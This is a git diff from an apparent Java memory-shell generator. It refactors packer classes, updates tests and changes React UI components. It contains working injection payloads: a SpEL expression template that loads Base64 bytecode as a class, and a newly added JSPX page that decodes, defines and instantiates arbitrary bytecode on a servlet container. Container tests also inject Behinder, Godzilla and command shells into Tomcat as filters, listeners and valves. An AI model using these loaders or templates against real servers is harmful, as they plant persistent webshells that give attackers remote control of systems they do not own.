String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||||
return template.replace("{{script}}", script);
|
return template.replace("{{script}}", script);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-1
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.spel;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
+3
-2
@@ -1,12 +1,13 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.spel;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class SpELSpringUtilPacker implements Packer {
|
public class SpELSpringUtilsPacker implements Packer {
|
||||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
+3
-1
@@ -1,6 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer.velocity;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@@ -42,7 +42,6 @@
|
|||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
try {
|
try {
|
||||||
byte[] bytecode = decodeBase64(base64Str);
|
byte[] bytecode = decodeBase64(base64Str);
|
||||||
// 不弄反射啦,以免高版本这儿报 module 限制
|
|
||||||
Class<?> clazz = defineClass(bytecode);
|
Class<?> clazz = defineClass(bytecode);
|
||||||
clazz.newInstance();
|
clazz.newInstance();
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
|
|||||||
@@ -0,0 +1,53 @@
|
|||||||
|
<jsp:root version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page">
|
||||||
|
<jsp:directive.page contentType="text/html"/>
|
||||||
|
<jsp:directive.page pageEncoding="UTF-8"/>
|
||||||
|
<jsp:declaration><![CDATA[
|
||||||
|
public static class ClassDefiner extends ClassLoader {
|
||||||
|
public ClassDefiner() {
|
||||||
|
super(Thread.currentThread().getContextClassLoader());
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] decodeBase64(String bytecodeBase64) {
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
try {
|
||||||
|
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
|
||||||
|
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
||||||
|
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
|
||||||
|
} catch (Exception ee) {
|
||||||
|
try {
|
||||||
|
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
|
||||||
|
} catch (Exception e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class<?> defineClass(byte[] code) {
|
||||||
|
return defineClass(null, code, 0, code.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
String className = "{{className}}";
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
try {
|
||||||
|
classLoader.loadClass(className).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] bytecode = decodeBase64(base64Str);
|
||||||
|
Class<?> clazz = defineClass(bytecode);
|
||||||
|
clazz.newInstance();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return className;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]]></jsp:declaration>
|
||||||
|
<jsp:scriptlet><![CDATA[
|
||||||
|
new ClassDefiner().toString();
|
||||||
|
]]></jsp:scriptlet>
|
||||||
|
</jsp:root>
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
@@ -19,7 +20,7 @@ class GzipBase64Test {
|
|||||||
void compress() {
|
void compress() {
|
||||||
GenerateResult generateResult = new GenerateResult();
|
GenerateResult generateResult = new GenerateResult();
|
||||||
generateResult.setInjectorBytes("hello world".getBytes());
|
generateResult.setInjectorBytes("hello world".getBytes());
|
||||||
String pack = new GzipBase64().pack(generateResult);
|
String pack = new GzipBase64Packer().pack(generateResult);
|
||||||
assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.decodeBase64(pack))));
|
assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.decodeBase64(pack))));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|||||||
+1
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|||||||
@@ -0,0 +1,27 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.spel;
|
||||||
|
|
||||||
|
import com.alibaba.fastjson2.JSON;
|
||||||
|
import com.alibaba.fastjson2.JSONWriter;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packers;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/26
|
||||||
|
*/
|
||||||
|
class SpELPackerTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void pack() {
|
||||||
|
GenerateResult generateResult = GenerateResult.builder()
|
||||||
|
.injectorClassName("name")
|
||||||
|
.injectorBytes("name".getBytes()).build();
|
||||||
|
AggregatePacker spELPacker = (AggregatePacker) Packers.SpEL.getInstance();
|
||||||
|
Map<String, String> stringStringMap = spELPacker.packAll(generateResult);
|
||||||
|
System.out.println(JSON.toJSONString(stringStringMap, JSONWriter.Feature.PrettyFormat));
|
||||||
|
}
|
||||||
|
}
|
||||||
+12
@@ -42,28 +42,40 @@ public class Tomcat10ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
|
|||||||
+12
@@ -42,28 +42,40 @@ public class Tomcat5ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize)
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize)
|
||||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
|
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
|
||||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
import { Button, ButtonProps } from "@/components/ui/button.tsx";
|
import { Button, ButtonProps } from "@/components/ui/button.tsx";
|
||||||
import { cn } from "@/lib/utils.ts";
|
|
||||||
import { Check, Copy } from "lucide-react";
|
import { Check, Copy } from "lucide-react";
|
||||||
import { HTMLProps, useEffect, useState } from "react";
|
import { HTMLProps, ReactNode, useEffect, useState } from "react";
|
||||||
import { CopyToClipboard } from "react-copy-to-clipboard";
|
import { CopyToClipboard } from "react-copy-to-clipboard";
|
||||||
import { Prism as SyntaxHighlighter } from "react-syntax-highlighter";
|
import { Prism as SyntaxHighlighter } from "react-syntax-highlighter";
|
||||||
import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism";
|
import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism";
|
||||||
@@ -31,15 +30,8 @@ export function CopyButton({ value, className, src, variant = "ghost", ...props
|
|||||||
toast.success("复制成功", { duration: 1000 });
|
toast.success("复制成功", { duration: 1000 });
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<Button
|
<Button variant="ghost" size="icon" type="button" className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4">
|
||||||
size="icon"
|
{hasCopied ? <Check /> : <Copy />}
|
||||||
type="button"
|
|
||||||
variant={variant}
|
|
||||||
className={cn("relative z-10 h-8 w-8 text-zinc-50 hover:bg-zinc-700 hover:text-zinc-50", className)}
|
|
||||||
{...props}
|
|
||||||
>
|
|
||||||
<span className="sr-only">Copy</span>
|
|
||||||
{hasCopied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
|
|
||||||
</Button>
|
</Button>
|
||||||
</CopyToClipboard>
|
</CopyToClipboard>
|
||||||
);
|
);
|
||||||
@@ -47,41 +39,57 @@ export function CopyButton({ value, className, src, variant = "ghost", ...props
|
|||||||
|
|
||||||
export function CodeViewer({
|
export function CodeViewer({
|
||||||
code,
|
code,
|
||||||
|
header,
|
||||||
language,
|
language,
|
||||||
|
height,
|
||||||
showLineNumbers = true,
|
showLineNumbers = true,
|
||||||
wrapLongLines = false,
|
wrapLongLines = true,
|
||||||
height = 500,
|
}: CodeViewerProps) {
|
||||||
}: {
|
|
||||||
code: string;
|
|
||||||
language: string;
|
|
||||||
showLineNumbers?: boolean;
|
|
||||||
wrapLongLines?: boolean;
|
|
||||||
height?: number;
|
|
||||||
}) {
|
|
||||||
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines
|
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines
|
||||||
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
|
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
|
||||||
: undefined;
|
: undefined;
|
||||||
return (
|
return (
|
||||||
<div className="relative overflow-hidden text-xs wrap-all">
|
<div className="rounded-lg border">
|
||||||
<CopyButton value={code} className="absolute right-4 top-2" />
|
{header && (
|
||||||
<SyntaxHighlighter
|
<div className="flex items-center justify-between border-b p-2">
|
||||||
language={language}
|
{header}
|
||||||
style={materialDark}
|
<CopyButton value={code} variant="ghost" size="sm" />
|
||||||
showLineNumbers={showLineNumbers}
|
</div>
|
||||||
wrapLongLines={wrapLongLines}
|
)}
|
||||||
lineProps={lineProps}
|
{!header && (
|
||||||
customStyle={{
|
<div className="flex items-center justify-end border-b p-2">
|
||||||
margin: 0,
|
<CopyButton value={code} variant="ghost" size="sm" />
|
||||||
paddingRight: showLineNumbers ? 0 : 24,
|
</div>
|
||||||
paddingLeft: showLineNumbers ? 0 : 24,
|
)}
|
||||||
borderRadius: "var(--radius)",
|
<div className="relative overflow-hidden text-xs wrap-all">
|
||||||
height: height,
|
<SyntaxHighlighter
|
||||||
whiteSpace: wrapLongLines ? "pre-wrap" : "pre",
|
language={language}
|
||||||
overflowWrap: wrapLongLines ? "normal" : "break-word",
|
style={materialDark}
|
||||||
}}
|
showLineNumbers={showLineNumbers}
|
||||||
>
|
wrapLongLines={wrapLongLines}
|
||||||
{code}
|
lineProps={lineProps}
|
||||||
</SyntaxHighlighter>
|
customStyle={{
|
||||||
|
margin: 0,
|
||||||
|
padding: showLineNumbers ? 0 : "1em 1em",
|
||||||
|
borderRadius: "0 0 var(--radius) var(--radius)",
|
||||||
|
height: height,
|
||||||
|
whiteSpace: wrapLongLines ? "pre-wrap" : "pre",
|
||||||
|
overflowWrap: wrapLongLines ? "normal" : "break-word",
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
{code}
|
||||||
|
</SyntaxHighlighter>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
interface CodeViewerProps {
|
||||||
|
code: string;
|
||||||
|
language: string;
|
||||||
|
header?: ReactNode;
|
||||||
|
height?: string | number;
|
||||||
|
showLineNumbers?: boolean;
|
||||||
|
wrapLongLines?: boolean;
|
||||||
|
lineProps?: (lineNumber: number) => React.HTMLProps<HTMLElement>;
|
||||||
|
}
|
||||||
|
|||||||
@@ -12,19 +12,17 @@ interface CopyableFieldProps {
|
|||||||
}
|
}
|
||||||
|
|
||||||
export function CopyableField({ label, value, text }: CopyableFieldProps) {
|
export function CopyableField({ label, value, text }: CopyableFieldProps) {
|
||||||
const [copied, setCopied] = useState(false);
|
const [hasCopied, setHasCopied] = useState(false);
|
||||||
|
|
||||||
const copyToClipboard = useCallback(() => {
|
const copyToClipboard = useCallback(() => {
|
||||||
if (typeof value === "string") {
|
setHasCopied(true);
|
||||||
navigator.clipboard.writeText(value).then(() => {
|
toast.success(`复制${label}成功`, {
|
||||||
setCopied(true);
|
duration: 1000,
|
||||||
toast.success(`复制${label}成功`, {
|
});
|
||||||
duration: 1000,
|
setTimeout(() => {
|
||||||
});
|
setHasCopied(false);
|
||||||
setTimeout(() => setCopied(false), 1000);
|
}, 1000);
|
||||||
});
|
}, [label]);
|
||||||
}
|
|
||||||
}, [value, label]);
|
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="flex items-center justify-between h-9">
|
<div className="flex items-center justify-between h-9">
|
||||||
@@ -35,7 +33,7 @@ export function CopyableField({ label, value, text }: CopyableFieldProps) {
|
|||||||
{value && (
|
{value && (
|
||||||
<CopyToClipboard text={value as string} onCopy={copyToClipboard}>
|
<CopyToClipboard text={value as string} onCopy={copyToClipboard}>
|
||||||
<Button variant="ghost" size="icon" type="button">
|
<Button variant="ghost" size="icon" type="button">
|
||||||
{copied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
|
{hasCopied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
|
||||||
</Button>
|
</Button>
|
||||||
</CopyToClipboard>
|
</CopyToClipboard>
|
||||||
)}
|
)}
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ import {
|
|||||||
import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx";
|
import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx";
|
||||||
import { Button } from "@/components/ui/button.tsx";
|
import { Button } from "@/components/ui/button.tsx";
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
||||||
|
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select";
|
||||||
import { Separator } from "@/components/ui/separator.tsx";
|
